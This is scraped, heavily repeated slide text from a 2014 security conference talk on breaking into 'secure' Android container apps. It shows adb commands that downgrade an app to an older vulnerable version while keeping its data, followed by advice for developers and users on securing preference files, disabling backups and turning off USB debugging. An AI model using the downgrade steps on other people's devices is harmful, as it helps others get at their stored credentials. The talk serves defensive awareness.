  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 173: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 174: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 175: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 176: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
